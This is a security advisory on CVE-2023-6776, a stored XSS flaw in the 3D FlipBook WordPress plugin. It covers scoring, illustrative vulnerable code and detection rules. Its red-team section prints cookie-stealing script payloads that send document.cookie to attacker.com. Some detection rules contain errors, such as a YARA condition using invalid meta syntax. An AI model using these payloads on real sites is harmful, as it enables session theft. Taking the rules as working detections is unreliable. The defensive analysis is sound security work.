CVE-2023-6776

Executive Summary

CVE-2023-6776 is a Stored Cross-Site Scripting (XSS) vulnerability in the 3D FlipBook plugin for WordPress, affecting all versions up to and including 1.15.2. The vulnerability resides in the ‘Ready Function’ field, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page, potentially leading to session hijacking, defacement, or data theft. As of this report, no official patch has been released, and the EPSS score is 0.0%, indicating low exploitation likelihood in the wild.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The 3D FlipBook plugin is used to create interactive 3D flipbooks from PDFs or images. The flaw is not related to Apache or Nginx server configurations but stems from improper handling of user input within the plugin’s admin interface.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: Required (victim must visit injected page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the requirement for authenticated access reduces the attack surface. However, the lack of a patch and the potential for privilege escalation via XSS (e.g., session hijacking) elevate the risk for WordPress sites with multiple contributors.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the WordPress admin interface. The ‘Ready Function’ field, intended for JavaScript callbacks, fails to sanitize or escape user input. When a contributor or higher-level user saves a flipbook with malicious JavaScript in this field, the script is stored in the database and executed in the browser of any user viewing the flipbook page.

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Creates or edits a 3D FlipBook.
3. Injects malicious JavaScript into the ‘Ready Function’ field (e.g., <script>alert('XSS')</script>).
4. Saves the flipbook.
5. Any user (including admins) visiting the flipbook page triggers the script.

Root Cause: The plugin uses add_action('wp_ajax_save_flipbook', ...) to handle AJAX saves but does not apply wp_kses() or esc_js() to the ‘Ready Function’ field. The field is later echoed without escaping in the frontend JavaScript.

Vulnerable vs. Patched Code

Vulnerable Code (v1.15.2):

// In admin-ajax.php or similar
$ready_function = $_POST['ready_function'];
update_post_meta($post_id, '3dfb_ready_function', $ready_function);

// In frontend script
var readyFunc = "<?php echo get_post_meta($post_id, '3dfb_ready_function', true); ?>";
eval(readyFunc);

Patched Code (Hypothetical):

$ready_function = sanitize_text_field($_POST['ready_function']);
update_post_meta($post_id, '3dfb_ready_function', $ready_function);

var readyFunc = "<?php echo esc_js(get_post_meta($post_id, '3dfb_ready_function', true)); ?>";
// No eval, use event listener instead

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with 3D FlipBook plugin <= 1.15.2
• Contributor-level account credentials

Exploit Steps:

1. Log in as contributor.
2. Navigate to wp-admin/admin.php?page=3d-flip-book.
3. Create a new flipbook or edit existing.
4. In the ‘Ready Function’ field, inject:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the flipbook.
6. Share the flipbook URL with a victim (e.g., admin).
7. Victim’s cookies are exfiltrated.

Alternative Payload (for session hijacking):

var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://attacker.com/steal?data='+document.cookie, true);
xhr.send();

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual JavaScript in post meta fields (e.g., 3dfb_ready_function).
• Look for outbound connections to unknown domains from WordPress admin pages.
• Use WAF rules to block <script> tags in AJAX requests to admin-ajax.php.

Prevention:

• Disable the plugin until a patch is available.
• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/3d-flipbook/ (entire plugin directory)
• Database: Post meta key 3dfb_ready_function containing JavaScript payloads
• Network: Outbound HTTP requests to attacker-controlled domains from WordPress admin IPs
• Logs: wp-admin/admin-ajax.php requests with action=save_flipbook and suspicious ready_function values

Detection Engineering

YARA Rule

rule CVE_2023_6776_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in 3D FlipBook plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2023-6776"
    strings:
        $payload1 = /<script[^>]*>.*<\/script>/i
        $payload2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $payload3 = /javascript\s*:/i
    condition:
        any of ($payload*) and
        (meta["plugin"] == "3d-flipbook" or
         filename contains "3d-flipbook")
}

Sigma Rule

title: CVE-2023-6776 Stored XSS in 3D FlipBook Plugin
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via the Ready Function field in 3D FlipBook
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '/wp-admin/admin-ajax.php'
        http.body: 'action=save_flipbook'
        http.body|contains: 'ready_function'
    filter:
        http.body|re: '^[a-zA-Z0-9_]+$'  # Normal function names only
    condition: selection and not filter
falsepositives:
    - Legitimate JavaScript function names
level: high
tags:
    - attack.t1190
    - cve.2023.6776

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-6776 Stored XSS in 3D FlipBook Plugin";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=save_flipbook"; http_client_body;
    content:"ready_function"; http_client_body;
    pcre:"/<script[^>]*>.*<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2023-6776;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical for operations.
2. Restrict contributor accounts to only trusted users.
3. Apply a WAF rule to block <script> tags in admin-ajax.php requests.

Long-term Fix:

• The vendor must release a patch that sanitizes the ‘Ready Function’ field using sanitize_text_field() and escapes output with esc_js().
• Until then, consider using a security plugin like Wordfence to add virtual patching.

Workaround:

• Edit the plugin file admin-ajax.php and add:

  $ready_function = sanitize_text_field($_POST['ready_function']);
  

  (Note: This will be overwritten on plugin updates.)

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert